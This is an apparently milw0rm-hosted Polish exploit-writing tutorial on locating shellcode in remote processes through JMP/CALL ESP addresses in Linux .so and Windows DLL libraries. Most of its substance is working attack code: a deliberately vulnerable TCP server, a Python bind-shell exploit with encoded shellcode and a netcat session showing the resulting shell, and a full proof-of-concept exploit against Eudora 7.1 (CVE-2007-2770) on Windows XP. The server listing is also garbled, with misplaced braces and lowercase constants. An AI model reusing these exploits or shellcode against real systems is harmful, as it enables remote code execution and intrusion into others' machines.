[ Odnajdywanie shellcodu w procesach zdalnych. ] Autor: Krystian Kloskowski (h07) <h07@interia.pl> -http://milw0rm.com/author/668 -http://www.h07.int.pl 0x00 [INTRO] Do właściwego zrozumienia treści tego artykułu konieczna jest znajomość podstaw assemblera x86 oraz wiedza ogólna na temat błędów naruszeń pamięci. Z wielu materiałów dostępnych w sieci jak i w ksiąŝkach moŝna dowiedzieć się czym jest przepełnienie bufra oraz jak je wykorzystać. Jednak większość opisów tej techniki włamań opiera się na eksploitacji lokalnej. Eksploitacja zdalna a właściwe odnalezienie shellcodu w aplikacji zdalnej nadal pozostaje niejasne dla wielu początkujących twórców exploitów. Niniejszy artykuł opisuje technikę odnajdywania shellcodu w pamięci procesów zdalnych pracujących pod kontrolą systemów UNIX, Windows. 0x01 [TEORIA] Większość tradycyjnych exploitów lokalnych wykorzystujących błędy w oprogramowaniu UNIX'owym odnajduje shellcode poprzez "strzelanie" w offset lub posługując się adresem zmiennej środowiskowej. Jednak odgadywanie adresu pod którym znajduje się shellcode w procesie zdalnym przyniosłoby marny efekt i byłoby czynnością chaotyczną poniewaŝ nie mielibyśmy dostępu ani do wartości rejestrów procesora ani do zmiennych środowiskowych. Ponadto taka "praktyka" w ogóle nie nadawałaby się do eksploitacji programów pracujących pod kontrolą systemu Windows poniewaŝ Windows opiera się na wątkach pracujących na tych samych danych w obrębie jednego procesu. Jakikolwiek błąd naruszenia pamięci spowodowałby zakończenie całego programu uniemoŝliwiając włamanie. Zatem jak poradzić sobie z tym problemem? Wyobraźmy sobie sytuacje, w której po przepełnieniu bufora adres powrotu został nadpisany adresem rozkazu JMP ESP lub CALL ESP. W takiej sytuacji sterowanie zostanie automatycznie przekazane do kodu znajdującego się na stosie a skuteczność exploitu będzie zaleŝna tylko od jednego czynniku. Jak się domyślacie, czynnikiem tym będzie adres, pod którym znajduje się rozkaz JMP ESP lub CALL ESP. Taki adres określany jest terminem "opcode". 0x02 [UNIX, wykorzystanie "opcodów" z bibliotek.so] Biblioteki.so przechowują "zewnętrzne" funkcje z których mogą korzystać programy pracujące pod kontrolą systemów UNIX. Z punktu widzenia przestrzeni adresowej pierwszy bajt kodu funkcji z biblioteki.so zawsze ładowany jest pod tym samym adresem. Sprawdźmy to.. [h07@md5 C]$ echo 'main(){int a = 0;}' > prog1.c [h07@md5 C]$ echo 'main(){int a = 0; int b = 1;}' > prog2.c [h07@md5 C]$ gcc -o prog1 prog1.c [h07@md5 C]$ gcc -o prog2 prog2.c [h07@md5 C]$ ldd prog1 linux-gate.so.1 => (0xffffe000) libc.so.6 => /lib/tls/libc.so.6 (0x40024000) /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000) [h07@md5 C]$ ldd prog2 linux-gate.so.1 => (0xffffe000)
libc.so.6 => /lib/tls/libc.so.6 (0x40024000) /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000) [h07@md5 C]$ objdump -D /lib/ld-linux.so.2 grep "<system_dirs>" 00010c80 <system_dirs>: [h07@md5 C]$ gdb prog1 (gdb) break main Breakpoint 1 at 0x8048342 (gdb) run Starting program: /home/h07/c/prog1 Breakpoint 1, 0x08048342 in main () (gdb) disas system_dirs Dump of assembler code for function system_dirs: 0x40010c80 <system_dirs+0>: das 0x40010c81 <system_dirs+1>: insb (%dx),%es:(%edi) 0x40010c82 <system_dirs+2>: imul $0x73752f00,0x2f(%edx),%esp 0x40010c89 <system_dirs+9>: jb 0x40010cba <undefined_msg+2> 0x40010c8b <system_dirs+11>: insb (%dx),%es:(%edi) 0x40010c8c <system_dirs+12>: imul $0x500,0x2f(%edx),%esp End of assembler dump. [h07@md5 C]$ gdb prog2 (gdb) break main Breakpoint 1 at 0x8048342 (gdb) run Starting program: /home/h07/c/prog2 Breakpoint 1, 0x08048342 in main () (gdb) disas system_dirs Dump of assembler code for function system_dirs: 0x40010c80 <system_dirs+0>: das 0x40010c81 <system_dirs+1>: insb (%dx),%es:(%edi) 0x40010c82 <system_dirs+2>: imul $0x73752f00,0x2f(%edx),%esp 0x40010c89 <system_dirs+9>: jb 0x40010cba <undefined_msg+2> 0x40010c8b <system_dirs+11>: insb (%dx),%es:(%edi) 0x40010c8c <system_dirs+12>: imul $0x500,0x2f(%edx),%esp End of assembler dump. Z powyŝszego przykładu łatwo moŝemy zauwaŝyć, Ŝe w przestrzeniach adresowych dwóch róŝnych programów adres pierwszego rozkazu funkcji system_dirs() jest zawsze taki sam. Fakt ten jest kluczowy poniewaŝ jesli "opcode" będzie znajdował się w bibliotece.so to jego adres zawsze będzie taki sam dla danej dystrybucji systemu dzięki czemu exploit uzyska niezawodność co z kolei daje moŝliwość sprawnego przeprowadzenia ataku zdalnego. Spróbujmy zatem napisać exploit dla poniŝszego serwera, wykorzystując opcode do odnalezienia shellcodu w pamięci. //serv.c #include <stdio.h> #include <unistd.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #define PORT 4444 struct sockaddr_in server, client; char global_buf[4096]; void vuln(char *arg) { char local_buf[256]; strcpy(local_buf, arg); printf("[+] Client request: %s\n", local_buf); } int main(void) { int sock = socket(af_inet, SOCK_STREAM, IPPROTO_TCP); if(sock == -1) {
} printf("[-] Socket error\n"); return -1; server.sin_family = AF_INET; server.sin_addr.s_addr = htonl(inaddr_any); server.sin_port = htons(port); int retval = bind(sock, (struct sockaddr *) &server, sizeof(server)); if(retval == -1) { printf("[-] Bind error\n"); close(sock); return -1; } listen(sock, 1); printf("[+] Listening on %d\n", PORT); int len = sizeof(client); int cl = accept(sock, (struct sockaddr *) &client, &len); printf("[+] Connection accepted from %s\n", inet_ntoa(client.sin_addr)); recv(cl, global_buf, sizeof(global_buf) - 1, 0); vuln(global_buf); } close(cl); close(sock); return 0; Jak widać funkcja vuln() serwera podatna jest na przepełnienie bufora. W pierwszej kolejności musimy wyświetlić biblioteki.so uŝywane przez serwer. [h07@md5 C]$ gcc -o serv serv.c [h07@md5 C]$ ldd serv linux-gate.so.1 => (0xffffe000) libc.so.6 => /lib/tls/libc.so.6 (0x40024000) /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000) Teraz naleŝy znaleźć opcode a właściwie funkcje, w której występuje opcode JMP ESP lub CALL ESP. Do tego celu uŝyjemy narzędzia objdump oraz dowolnego edytora tekstu, któremu zlecimy szukanie rozkazu "call *%esp". Warto przypomnieć, Ŝe narzędzie analizujące objdump oraz debugger gdb posługują się notacją assemblera AT&T, z tąd teŝ dziwny dla niektórych zapis szukanego rozkazu. [h07@md5 C]$ objdump -D /lib/ld-linux.so.2 > a.txt [h07@md5 C]$ kwrite a.txt 00010cb8 <undefined_msg>: 10cb8: 75 6e jne 10d28 <undefined_msg+0x70> 10cba: 64 65 66 69 6e 65 64 imul $0x2064,%fs:%gs:0x65(%esi),%bp 10cc1: 20 10cc2: 73 79 jae 10d3d <undefined_msg+0x85> 10cc4: 6d insl (%dx),%es:(%edi) 10cc5: 62 6f 6c bound %ebp,0x6c(%edi) 10cc8: 3a 20 cmp (%eax),%ah... 10cde: 00 00 add %al,(%eax) 10ce0: ca 4b ff lret $0xff4b 10ce3: ff f7 push %edi 10ce5: 4b dec %ebx 10ce6: ff (bad) 10ce7: ff d4 call *%esp Edytor tekstu odnalazł opcode w funkcji undefined_msg(). MoŜemy teraz przystąpić do odczytania adresu opcode z wirtualnej przestrzeni adresowej procesu serwera. [h07@md5 C]$ gdb serv (gdb) break main
Breakpoint 1 at 0x80485b9 (gdb) run Starting program: /home/h07/c/serv Breakpoint 1, 0x080485b9 in main () (gdb) disas undefined_msg Dump of assembler code for function undefined_msg: 0x40010cb8 <undefined_msg+0>: jne 0x40010d28 <undefined_msg+112> 0x40010cba <undefined_msg+2>: imul $0x2064,%fs:%gs:0x65(%esi),%bp 0x40010cc2 <undefined_msg+10>: jae 0x40010d3d <undefined_msg+133> 0x40010cc4 <undefined_msg+12>: insl (%dx),%es:(%edi) 0x40010cc5 <undefined_msg+13>: bound %ebp,0x6c(%edi) 0x40010cc8 <undefined_msg+16>: cmp (%eax),%ah 0x40010cca <undefined_msg+18>: add %al,(%eax) 0x40010ccc <undefined_msg+20>: add %al,(%eax) 0x40010cce <undefined_msg+22>: add %al,(%eax) 0x40010cd0 <undefined_msg+24>: add %al,(%eax) 0x40010cd2 <undefined_msg+26>: add %al,(%eax) 0x40010cd4 <undefined_msg+28>: add %al,(%eax) 0x40010cd6 <undefined_msg+30>: add %al,(%eax) 0x40010cd8 <undefined_msg+32>: add %al,(%eax) 0x40010cda <undefined_msg+34>: add %al,(%eax) 0x40010cdc <undefined_msg+36>: add %al,(%eax) 0x40010cde <undefined_msg+38>: add %al,(%eax) 0x40010ce0 <undefined_msg+40>: lret $0xff4b 0x40010ce3 <undefined_msg+43>: push %edi 0x40010ce5 <undefined_msg+45>: dec %ebx 0x40010ce6 <undefined_msg+46>: (bad) 0x40010ce7 <undefined_msg+47>: call *%esp... Bingo, adres 0x40010ce7 jest adresem rozkazu CALL ESP, który przekaŝe sterowanie automatycznie do kodu znajdującego się na stosie. Napisanie exploitu jest tylko formalnością, chociaŝ w sposobie eksploitacji zajdą niewielkie zmiany. Rejestr ESP przechowuje adres wierzchołka stosu. Gdy funkcja kończy swoje działanie i wykonywany jest rozkaz RET to ów rozkaz pobiera adres powrotny z miejsca wskazywanego przez rejestr ESP. Jeśli za sprawą opcodu CALL ESP sterowanie zostanie przekazane na stos to oczywisty staje się fakt, Ŝe shellcode musi znajdować się za adresem powrotnym umieszczonym na stosie, poniewaŝ adres ten wskazywany jest przez rejestr ESP przy wychodzeniu z funkcji. Zawartość bufora tradycyjnych exploitów lokalnych: [NOP's][Shellcode][Return address] Zawartość bufora exploitu wykorzystującego opcode JMP/CALL ESP: [Any_Data][Return address][nop's][shellcode] Metodą prób ustalamy, Ŝe do nadpisania adresu powrotnego funkcji vuln() serwera potrzeba 272 bajtów. Wszystkie te informacje składamy w "całość" pisząc explit.. #!/usr/bin/python from time import sleep from struct import pack from socket import * host = '192.168.0.2' port = 4444 opcode = 0x40010ce7 # /lib/ld-linux.so.2 <undefined_msg+47>: CALL ESP # linux_ia32_bind (TCP PORT 5555) shellcode = ( "\x33\xc9\x83\xe9\xeb\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x79" "\x40\xb8\xd6\x83\xeb\xfc\xe2\xf4\x48\x9b\xeb\x95\x2a\x2a\xba\xbc" "\x1f\x18\x21\x5f\x98\x8d\x38\x40\x3a\x12\xde\xbe\x6c\xf3\xde\x85" "\xf0\xa1\xd2\xb0\x21\x10\xe9\x80\xf0\xa1\x75\x56\xc9\x26\x69\x35" "\xb4\xc0\xea\x84\x2f\x03\x31\x37\xc9\x26\x75\x56\xea\x2a\xba\x8f" "\xc9\x7f\x75\x56\x30\x39\x41\x66\x72\x12\xd0\xf9\x56\x33\xd0\xbe" "\x56\x22\xd1\xb8\xf0\xa3\xea\x85\xf0\xa1\x75\x56") buf = "A" * 268 buf += pack("<l", opcode) buf += "\x90" * 32
buf += shellcode # buf = [A * 268][Return address(opcode)][nop * 32][Shellcode] s = socket(af_inet, SOCK_STREAM) s.connect((host, port)) s.send(buf) sleep(1) s.close() Kod exploitu jest tak prosty, Ŝe nie wymaga tłumaczenia ;] Uruchamiamy serwer i eksploitujemy.. [h07@md5 C]$./serv [+] Listening on 4444 C:\>exp.py C:\>nc -v 192.168.0.2 5555 MD5 [192.168.0.2] 5555 (?) open whoami h07 echo $SHELL /bin/bash Exploit wstrzyknął do procesu serwera shellcode, który dał dostęp do powłoki systemu na porcie TCP 5555. Dzięki zastosowaniu opcodu ów exploit uzyskał niezawodność i kaŝdy "atak" na przykładowy serwer zawsze powiedzie się sukcesem bez "zgadywania" adresu i innych tym podobnych praktyk. Jedynym czynnikiem wpływającym na skuteczność exploitu jest sam opcode, który róŝny jest dla róŝnych dystrybucji systemu. 0x03 [WINDOWS, wykorzystanie "opcodów" z bibliotek DLL] Biblioteki DLL znacznie róŝnią się budową od UNIX'owych bibliotek.so jednak idea eksploitacji oprogramowania z uŝyciem "opcodów" w systemie Windows jest analogiczna do systemu UNIX. Istotnym elementem bibliotek DLL jest wirtualny adres względny RVA (Relative Virtual Address). KaŜda funkcja w bibliotece DLL posiada swój adres RVA określający jej względne połoŝenie. Jeśli do adresu pierwszego bajtu pliku załadowanego do pamięci (Image Base) dodamy adres RVA to otrzymamy wirtualny adres funkcji w przestrzeni adresowej procesu (VA - Virtual Address). Dla przykładu pierwszy bajt (Image Base) biblioteki X został załadowany pod adresem 0x80000000. Funkcja foo() biblioteki X posiada RVA 4000 zatem jej wirtualny adres (VA) w procesie równy jest 0x80004000. (Image Base + RVA = VA) Ale po co to wszystko? Specyficzny sposób adresowania pamięci przez biblioteki DLL wykorzystywany jest przez disassemblery, które sumując Image Base i RVA wyświetlają rzeczywiste adresy wirtualne funkcji bez potrzeby załadowania biblioteki do konkretnego procesu. Fakt ten znacznie ułatwia odnalezienie danego opcodu w bibliotece DLL, sprowadzając sam proces szukania do uŝycia jednego narzędzia (np disassemblera objdump). Równie wygodnym sposobem przeszukiwania bibliotek DLL w poszukiwaniu określonych rozkazów jest uŝycie debuggera OllyDbg lub narzędzia findjmp. Przykład uŝycia programu findjmp: C:\>findjmp shell32.dll ESP > a.txt C:\>more a.txt /E Reg: ESP Scanning shell32.dll for code usable with the ESP register 0x7C9DEA11 push ESP - ret 0x7CA06F76 push ESP - ret 0x7CA58265 jmp ESP 0x7CA62587 call ESP 0x7CA6487B call ESP 0x7CB1289F jmp ESP 0x7CB3C1F6 jmp ESP 0x7CBBD38B call ESP 0x7CBFA14C jmp ESP 0x7CBFB8C4 call ESP 0x7CC00AC4 call ESP 0x7CC00EB0 call ESP
0x7CC00FE8... jmp ESP Przykładowy exploit wykorzystujący opcode JMP ESP i wstrzykujący shellcode do procesu programu pocztowego Eudora 7.1 pracującego pod kontrolą systemu Windows XP SP2.. #!/usr/bin/python # Eudora 7.1 SMTP Response 0day Remote Buffer Overflow PoC Exploit # Bug discovered by Krystian Kloskowski (h07) <h07@interia.pl> # Tested on Eudora 7.1.0.9 / XP SP2 Polish # Shellcode type: Windows Execute Command (calc.exe) # Note:.. # This vulnerability can be exploited only if user # will ignore warning about "buffer overflow" error. ## from struct import pack from time import sleep from socket import * bind_addr = '0.0.0.0' bind_port = 25 shellcode = ( "\x31\xc9\x83\xe9\xdb\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xd8" "\x22\x72\xe4\x83\xeb\xfc\xe2\xf4\x24\xca\x34\xe4\xd8\x22\xf9\xa1" "\xe4\xa9\x0e\xe1\xa0\x23\x9d\x6f\x97\x3a\xf9\xbb\xf8\x23\x99\x07" "\xf6\x6b\xf9\xd0\x53\x23\x9c\xd5\x18\xbb\xde\x60\x18\x56\x75\x25" "\x12\x2f\x73\x26\x33\xd6\x49\xb0\xfc\x26\x07\x07\x53\x7d\x56\xe5" "\x33\x44\xf9\xe8\x93\xa9\x2d\xf8\xd9\xc9\xf9\xf8\x53\x23\x99\x6d" "\x84\x06\x76\x27\xe9\xe2\x16\x6f\x98\x12\xf7\x24\xa0\x2d\xf9\xa4" "\xd4\xa9\x02\xf8\x75\xa9\x1a\xec\x31\x29\x72\xe4\xd8\xa9\x32\xd0" "\xdd\x5e\x72\xe4\xd8\xa9\x1a\xd8\x87\x13\x84\x84\x8e\xc9\x7f\x8c" "\x28\xa8\x76\xbb\xb0\xba\x8c\x6e\xd6\x75\x8d\x03\x30\xcc\x8d\x1b" "\x27\x41\x13\x88\xbb\x0c\x17\x9c\xbd\x22\x72\xe4") opcode = 0x7CA58265 # JMP ESP (SHELL32.DLL / XP SP2 Polish) buf = "250-" buf += "A" * 76 buf += pack("<l", opcode) buf += "\x90" * 32 buf += shellcode buf += "\r\n" s = socket(af_inet, SOCK_STREAM) s.bind((bind_addr, bind_port)) s.listen(1) print "Listening on %s:%d..." % (bind_addr, bind_port) cl, addr = s.accept() print "Connected accepted from: %s" % (addr[0]) cl.send('220 Dupa Jasia\r\n') print cl.recv(1024)[:-1] cl.send(buf) sleep(1) cl.close() s.close() print "Done" # EoF # milw0rm.com [2007-05-15] Myślę, Ŝe kod exploitu nie wymaga tłumaczenia poniewaŝ jego sposób działania jest analogiczny do exploitu zaprezentowanego w poprzednim podpunkcie tego artykułu. 0x04 [OUTRO] Warto wspomnieć, Ŝe istnieją jeszcze inne grupy rozkazów, które mogą być wykorzystane do przekazania sterowania w odpowiednie miejsce. Na przykład moŝe zdarzyć się, Ŝe podczas przepełnienia bufora rejestr ECX wskazuje adres bufora z shellcodem. W takim wypadku moŝna nadpisać
adres powrotu adresem rozkazu CALL ECX co w rezultacie przekaŝe sterowanie wprost do shellcodu. "Opcode" PUSH ECX RET dałby taki sam efekt. Przykładem "opcodów egzotycznych" jest blok rozkazów POP POP RET. Taka kombinacja rozkazów pozawala na przekazanie sterowania na stos tuŝ za nadpisanymi wskaźnikami procedur obsługi wyjątków. Metoda ta bardzo często stosowana jest przy tworzeniu exploitów wykorzystujących przepełnienia bufora w usługach DCE-RPC systemu Windows. Artykuł ten jest dość "lajtowy" ale na pewno pomoŝe on zrozumieć techniki odnajdywania shellcodu w pamięci procesów zdalnych wszystkim początkującym twórcom exploitów. 0x05 [LINKI] OllyDbg - http://www.ollydbg.de Findjmp - http://www.i2s-lab.com/research-tools.html Windows Opcode Database - http://metasploit.com/opcode_database.html Variations in Exploit methods between Linux and Windows - https://www.blackhat.com/presentations/bh-usa-03/bhus-03-litchfield-paper.pdf More info about buffer overflow in Eudora 7.1 (CVE-2007-2770) - http://secunia.com/advisories/25282/ EoF;